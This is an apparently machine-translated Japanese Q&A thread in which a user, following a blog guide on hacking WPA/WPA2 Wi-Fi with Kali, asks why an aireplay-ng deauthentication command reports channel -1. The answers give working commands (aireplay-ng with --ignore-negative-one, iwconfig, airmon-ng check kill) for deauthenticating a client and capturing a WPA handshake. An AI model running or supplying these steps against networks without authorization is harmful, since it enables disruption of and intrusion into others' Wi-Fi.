kali linuxを使用してルーターで侵入テストをテストするときは、このリンクのすべての手順に従いました。
http://lewiscomputerhowto.blogspot.in/2014/06/how-to-hack-wpawpa2-wi-fi-with-kali.html
aireplay-ng -0 2 -a 10:FE:ED:2E:5E:20 -c 08:3E:8E:CC:14:A7 mon7 09:00:33 Waiting for beacon frame (BSSID: 10:FE:ED:2E:5E:20) on channel -1 09:00:33 Couldn't determine current channel for mon7, you should either force the operation with --ignore-negative-one or apply a kernel patch Please specify an ESSID (-e)
aireplay-ngコマンドにルータのbssidとclintのbssidを入力する必要がある段階で、チャネル-1として次のコマンドを受け取りました。しかし、私がキャプチャしたチャンネルは別のチャンネルです。私は試すたびにこれを得ます。この-1チャンネルの助けとこの問題を解決する方法を教えてください。
答え1
エラーメッセージに示されているとおりに正しく実行してください。 "--ignore-negative-one" 長いオプションをもう一度考えてみてください。
aireplay-ng -0 2 --ignore-negative-one -a 10:FE:ED:2E:5E:20 -c 08:3E:8E:CC:14:A7 mon7
以下を行う必要があります。
iwconfig mon7 channel *whatever*
希望のチャンネルを使用させてください。
答え2
まあ、ちょっと探してから答えを得ました。あなたがしなければならないことは、wlan0
コマンドを使用して起動するときです。
airmon-ng start wlan0
airmon
このコマンドは、後で中断される可能性があるいくつかのプロセスをリストします。したがって、まず削除する必要があります。削除するには、次のコードを記述してください。
airmon-ng check
airmon-ng check kill
airmon-ng start wlan0
上記のコードを使用するとairmon
正常に動作します。
そして、使用すると--ignore-negative-one
否定的なチャネルを無視してwpaハンドシェイクを取得できないため、問題は解決されません。楽しいハックをしてください:)